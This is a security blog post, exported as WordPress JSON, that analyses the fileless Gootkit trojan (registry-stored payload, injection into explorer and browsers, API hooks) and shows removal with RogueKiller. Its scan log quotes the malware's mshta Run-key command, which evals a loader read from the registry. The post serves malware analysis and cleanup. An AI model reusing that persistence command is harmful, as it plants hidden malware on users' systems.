{"id":273,"date":"2015-01-05T09:31:50","date_gmt":"2015-01-05T09:31:50","guid":{"rendered":"http:\/\/www.adlice.com\/?p=273"},"modified":"2022-12-21T10:39:19","modified_gmt":"2022-12-21T10:39:19","slug":"remove-gootkit","status":"publish","type":"post","link":"https:\/\/www.adlice.com\/de\/remove-gootkit\/","title":{"rendered":"How to Remove Gootkit (Guide)"},"content":{"rendered":"\n

Analysis<\/h4>\n\n\n\n

Gootkit is a malware with trojan\/backdoor features, and fileless behavior<\/strong>. The payload (malware file) is injected into several legit processes<\/strong>, and loaded at boot time by a RUN key calling the injector.<\/p>\n\n\n\n

That run value is using Poweliks trick<\/strong><\/a>, by calling a Rundll32 powered VBScript that will read and load a binary payload stored into another registry key (HKCU\\Software\\ xsw), so no file is actually stored on the disk<\/strong>.<\/p>\n\n\n\n

\"Registry<\/a>
Registry value<\/figcaption><\/figure>\n\n\n\n
\"Second<\/a>
Second stage payload in registry valu<\/figcaption><\/figure>\n\n\n\n

The malware itself resides into an hijacked svchost process. The payload is injected into some legit processes (including explorer.exe) within an executable section<\/strong>, outside of any module. It can be found by looking at the sections with E\/X rights, but with no physical DLL.<\/p>\n\n\n\n

\"explorer_injected_ph\"<\/a><\/figure>\n\n\n\n

Once payload loaded in into a process, it will hook several APIs, including NtDeviceIoControlFile, DnsQuery and RtlPcToFileHeader<\/strong>.<\/p>\n\n\n\n

\"Hooks<\/a>
Hooks in firefox.exe<\/figcaption><\/figure>\n\n\n\n

The payload contains also several interesting strings, we can find the hooked APIs<\/strong>, as well as injected processes names<\/strong> (web browsers mostly), and an interesting SpywareJSWrappers library with its SpXxxx APIs<\/strong>, with very explicit names. We believe that library could be used to block AV websites in the future (to avoid removal), or have maybe banker bahavior(?).<\/p>\n\n\n\n

\"Strings<\/a>
Strings from injected firefox.exe<\/figcaption><\/figure>\n\n\n\n


Removal<\/h4>\n\n\n\n

Starting with release 10.1.2, RogueKiller is able to automatically remove<\/a> that trojan.<\/strong> Simply scan your computer and remove infected keys.<\/p>\n\n\n\n

\"rk_procs\"<\/a><\/figure>\n\n\n\n

Your reports should look like this (with your own language text):<\/strong><\/p>\n\n\n\n

\u00a4\u00a4\u00a4 Processus : 4 \u00a4\u00a4\u00a4\n[Tr.Gootkit] explorer.exe -- C:\\WINDOWS\\Explorer.EXE[7] -&gt; Tu\u00e9(e) [TermProc]\n[Tr.Gootkit] firefox.exe -- C:\\Program Files\\Mozilla Firefox\\firefox.exe[7] -&gt; Tu\u00e9(e) [TermProc]\n[Tr.Gootkit] svchost.exe -- C:\\WINDOWS\\System32\\svchost.exe[x] -&gt; [NoKill]\n[Proc.Svchost] svchost.exe -- C:\\WINDOWS\\System32\\svchost.exe[7] -&gt; Tu\u00e9(e) [TermProc]\n\n\u00a4\u00a4\u00a4 Registre : 15 \u00a4\u00a4\u00a4\n[Tr.Gootkit] HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | rundll32 : mshta \"about:&lt;title&gt; &lt;\/title&gt;&lt;script&gt;moveTo(-300,-300);resizeTo(0,0);&lt;\/script&gt;&lt;hta:application showintaskbar=no&gt;&lt;script&gt;eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\ xsw\\\\loader'));if(!window.flag)close()&lt;\/script&gt;\" [x][x] -&gt; Supprim\u00e9(e)\n[Tr.Gootkit] HKEY_USERS\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | rundll32 : mshta \"about:&lt;title&gt; &lt;\/title&gt;&lt;script&gt;moveTo(-300,-300);resizeTo(0,0);&lt;\/script&gt;&lt;hta:application showintaskbar=no&gt;&lt;script&gt;eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\ xsw\\\\loader'));if(!window.flag)close()&lt;\/script&gt;\" [x][x] -&gt; Supprim\u00e9(e)\n[Tr.Gootkit] HKEY_USERS\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | rundll32 : mshta \"about:&lt;title&gt; &lt;\/title&gt;&lt;script&gt;moveTo(-300,-300);resizeTo(0,0);&lt;\/script&gt;&lt;hta:application showintaskbar=no&gt;&lt;script&gt;eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\ xsw\\\\loader'));if(!window.flag)close()&lt;\/script&gt;\" [x][x] -&gt; Supprim\u00e9(e)\n[Tr.Gootkit] HKEY_USERS\\S-1-5-21-823518204-842925246-839522115-1003\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | rundll32 : mshta \"about:&lt;title&gt; &lt;\/title&gt;&lt;script&gt;moveTo(-300,-300);resizeTo(0,0);&lt;\/script&gt;&lt;hta:application showintaskbar=no&gt;&lt;script&gt;eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\ xsw\\\\loader'));if(!window.flag)close()&lt;\/script&gt;\" [x][x] -&gt; Supprim\u00e9(e)\n[Tr.Gootkit] HKEY_USERS\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | rundll32 : mshta \"about:&lt;title&gt; &lt;\/title&gt;&lt;script&gt;moveTo(-300,-300);resizeTo(0,0);&lt;\/script&gt;&lt;hta:application showintaskbar=no&gt;&lt;script&gt;eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\ xsw\\\\loader'));if(!window.flag)close()&lt;\/script&gt;\"  -&gt; ERROR [2]\n[Tr.Gootkit] HKEY_USERS\\.DEFAULT\\Software\\ xsw -&gt; Supprim\u00e9(e)\n[Tr.Gootkit] HKEY_USERS\\S-1-5-19\\Software\\ xsw -&gt; Supprim\u00e9(e)\n[Tr.Gootkit] HKEY_USERS\\S-1-5-20\\Software\\ xsw -&gt; Supprim\u00e9(e)\n[Tr.Gootkit] HKEY_USERS\\S-1-5-21-823518204-842925246-839522115-1003\\Software\\ xsw -&gt; Supprim\u00e9(e)\n[Tr.Gootkit] HKEY_USERS\\S-1-5-18\\Software\\ xsw -&gt; ERROR [2]\n[Tr.Gootkit] HKEY_USERS\\S-1-5-21-823518204-842925246-839522115-1003\\Software\\cxsw -&gt; Supprim\u00e9(e)\n\n\u00a4\u00a4\u00a4 Antirootkit : 4 (Driver: Charg\u00e9) \u00a4\u00a4\u00a4\n[IAT:Inl(Hook.IEAT)] (explorer.exe) ntdll.dll - RtlPcToFileHeader : Unknown @ 0x31939ba (jmp 0xffffffff8684f61d|jmp 0xf)\n[IAT:Inl(Hook.IEAT)] (firefox.exe) ntdll.dll - NtDeviceIoControlFile : Unknown @ 0x1ecfa65 (jmp 0xffffffff855b2852|jmp 0x39|call 0xffffffffffffff3e)\n[IAT:Inl(Hook.IEAT)] (firefox.exe) ntdll.dll - RtlPcToFileHeader : Unknown @ 0x1e839ba (jmp 0xffffffff8553f61d|jmp 0xf)\n[IAT:Inl(Hook.IEAT)] (firefox.exe) DNSAPI.dll - DnsQuery_W : Unknown @ 0x1ecf8d0 (jmp 0xffffffff8affcb3c)\n<\/code><\/pre>\n\n\n\n

Links<\/h4>\n\n\n\n